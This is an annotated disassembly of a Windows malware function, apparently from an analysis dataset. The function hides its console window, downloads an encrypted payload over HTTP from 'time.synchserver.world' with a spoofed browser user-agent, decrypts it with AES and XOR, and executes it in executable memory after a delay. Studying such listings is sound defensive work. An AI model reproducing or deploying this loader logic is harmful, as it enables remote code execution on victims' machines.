Function at 0x10001870
Capabilities:
Create new key via cryptacquirecontext
Encode data using xor
Hide graphical window
Initialize winhttp library
Prepare http request
Receive http response
Reference http user-agent string

Disassembly:
sub esp, 0x5c
push ebx
push ebp
push esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x16
push str.time.synchserver.world
lea ecx, [esp + 0x5c]
mov dword [esp + 0x5c], 0
mov dword [esp + 0x6c], 0
mov dword [esp + 0x70], 7
call fcn.100021f0
push 0xf
push str._date_date.time
lea ecx, [esp + 0x44]
mov dword [esp + 0x44], 0
mov dword [esp + 0x54], 0
mov dword [esp + 0x58], 7
call fcn.100021f0
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_77.0.3865.120_Safari_538.31
mov dword [esp + 0x34], 0
mov dword [esp + 0x38], 0
mov dword [esp + 0x3c], 0
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov ebx, eax
mov dword [esp + 0x14], ebx
test ebx, ebx
je 0x10001a47
cmp dword [esp + 0x68], 8
lea ecx, [esp + 0x54]
push 0
cmovae ecx, dword [esp + 0x58]
push 0x50
push ecx
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov ebp, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov esi, eax
mov dword [esp + 0x18], esi
test esi, esi
je 0x10001a44
cmp dword [esp + 0x50], 8
lea ecx, [esp + 0x3c]
push pe_nt_image_headers32
cmovae ecx, dword [esp + 0x40]
push 0
push 0
push 0
push ecx
push 0x1000f440
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov edi, eax
test edi, edi
je 0x10001a41
push 0
push 0
push 0
push 0
push 0
push 0
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x10001a3e
push 0
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x10001a3e
mov ebx, dword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
mov dword [esp + 0x1c], 0
nop word [eax + eax]
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0
push eax
push edi
call ebx
test eax, eax
je 0x10001a36
mov eax, dword [esp + 0x10]
test eax, eax
je 0x10001a36
inc eax
push eax
call fcn.100024bb
mov esi, eax
add esp, 4
test esi, esi
je 0x10001a36
mov ecx, dword [esp + 0x10]
inc ecx
push ecx
push 0
push esi
call fcn.10003b60
add esp, 0xc
lea eax, [esp + 0x1c]
push eax
push dword [esp + 0x14]
push esi
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x10001a2d
push dword [esp + 0x1c]
mov eax, dword [esp + 0x20]
lea ecx, [esp + 0x24]
add eax, esi
push eax
push esi
push dword [esp + 0x30]
call fcn.10001d40
push esi
call fcn.100024c4
add esp, 4
cmp dword [esp + 0x10], 0
ja 0x100019b0
jmp 0x10001a36
push esi
call fcn.100024c4
add esp, 4
mov ebx, dword [esp + 0x14]
mov esi, dword [esp + 0x18]
push edi
call ebp
push esi
call ebp
push ebx
call ebp
call fcn.10001660
mov ecx, dword [esp + 0x20]
cmp ecx, dword [esp + 0x24]
je 0x10001c5a
push str.VirtualAlloc
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [esp + 0x24]
mov ebp, eax
mov edi, dword [esp + 0x20]
sub esi, edi
cmp dword [0x1001694c], 0
movaps xmm0, xmmword [0x1000f4f0]
movups xmmword [esp + 0x2c], xmm0
mov dword [esp + 0x10], esi
je 0x10001ba0
cmp dword [0x1001695c], 0
je 0x10001ba0
cmp dword [0x10016954], 0
je 0x10001ba0
cmp dword [0x10016958], 0
je 0x10001ba0
cmp dword [0x10016960], 0
je 0x10001ba0
cmp dword [0x1001696c], 0
je 0x10001ba0
cmp dword [0x10016948], 0
je 0x10001ba0
push 0xf0000000
push 0x18
push 0
push 0
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x10001ba0
lea eax, [esp + 0x18]
push eax
push 0
push 0
push 0x800c
push dword [esp + 0x24]
call dword [0x10016960]
test eax, eax
je 0x10001ba0
push 0
push 0x10
lea eax, [esp + 0x34]
push eax
push dword [esp + 0x24]
call dword [0x1001695c]
test eax, eax
je 0x10001ba0
lea eax, [esp + 0x1c]
push eax
push 0
push dword [esp + 0x20]
push 0x6610
push dword [esp + 0x24]
call dword [0x10016948]
test eax, eax
je 0x10001ba0
lea eax, [esp + 0x10]
push eax
push edi
push 0
push 0
push 0
push dword [esp + 0x30]
call dword [0x1001696c]
test eax, eax
je 0x10001ba0
mov eax, dword [esp + 0x1c]
mov ebx, dword [esp + 0x18]
mov edi, dword [esp + 0x14]
test eax, eax
je 0x10001b88
push eax
call dword [0x10016954]
test ebx, ebx
je 0x10001b93
push ebx
call dword [0x1001694c]
test edi, edi
je 0x10001ba0
push 0
push edi
call dword [0x10016958]
mov edi, dword [esp + 0x24]
xor ecx, ecx
sub edi, dword [esp + 0x20]
test esi, esi
je 0x10001c2d
cmp esi, 0x40
jb 0x10001c19
movaps xmm2, xmmword [0x1000f500]
mov edx, esi
and edx, 0xffffffc0
nop
mov eax, dword [esp + 0x20]
movaps xmm1, xmm2
movups xmm0, xmmword [eax + ecx]
pxor xmm1, xmm0
movups xmmword [eax + ecx], xmm1
mov eax, dword [esp + 0x20]
movaps xmm1, xmm2
movups xmm0, xmmword [eax + ecx + 0x10]
pxor xmm1, xmm0
movups xmmword [eax + ecx + 0x10], xmm1
mov eax, dword [esp + 0x20]
movaps xmm1, xmm2
movups xmm0, xmmword [eax + ecx + 0x20]
pxor xmm1, xmm0
movups xmmword [eax + ecx + 0x20], xmm1
mov eax, dword [esp + 0x20]
movaps xmm1, xmm2
movups xmm0, xmmword [eax + ecx + 0x30]
pxor xmm1, xmm0
movups xmmword [eax + ecx + 0x30], xmm1
add ecx, 0x40
cmp ecx, edx
jb 0x10001bc0
cmp ecx, esi
jae 0x10001c2d
nop dword [eax]
mov eax, dword [esp + 0x20]
xor byte [eax + ecx], 0xf4
inc ecx
cmp ecx, esi
jb 0x10001c20
push 0x40
push 0x1000
push edi
push 0
call ebp
push edi
push dword [esp + 0x24]
mov esi, eax
push esi
call fcn.100035e0
add esp, 0xc
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
mov ecx, dword [esp + 0x20]
pop edi
pop esi
pop ebp
pop ebx
test ecx, ecx
je 0x10001ca8
mov edx, dword [esp + 0x18]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x10001c86
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001d35
push edx
push ecx
call fcn.100024ad
add esp, 8
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov edx, dword [esp + 0x40]
cmp edx, 8
jb 0x10001ce0
mov ecx, dword [esp + 0x2c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10001cd6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001d35
push edx
push ecx
call fcn.100024ad
add esp, 8
mov edx, dword [esp + 0x58]
xor eax, eax
mov dword [esp + 0x3c], 0
mov dword [esp + 0x40], 7
mov word [esp + 0x2c], ax
cmp edx, 8
jb 0x10001d2f
mov ecx, dword [esp + 0x44]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10001d25
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001d35
push edx
push ecx
call fcn.100024ad
add esp, 8
add esp, 0x5c
ret 0x10
call fcn.1000573f
int3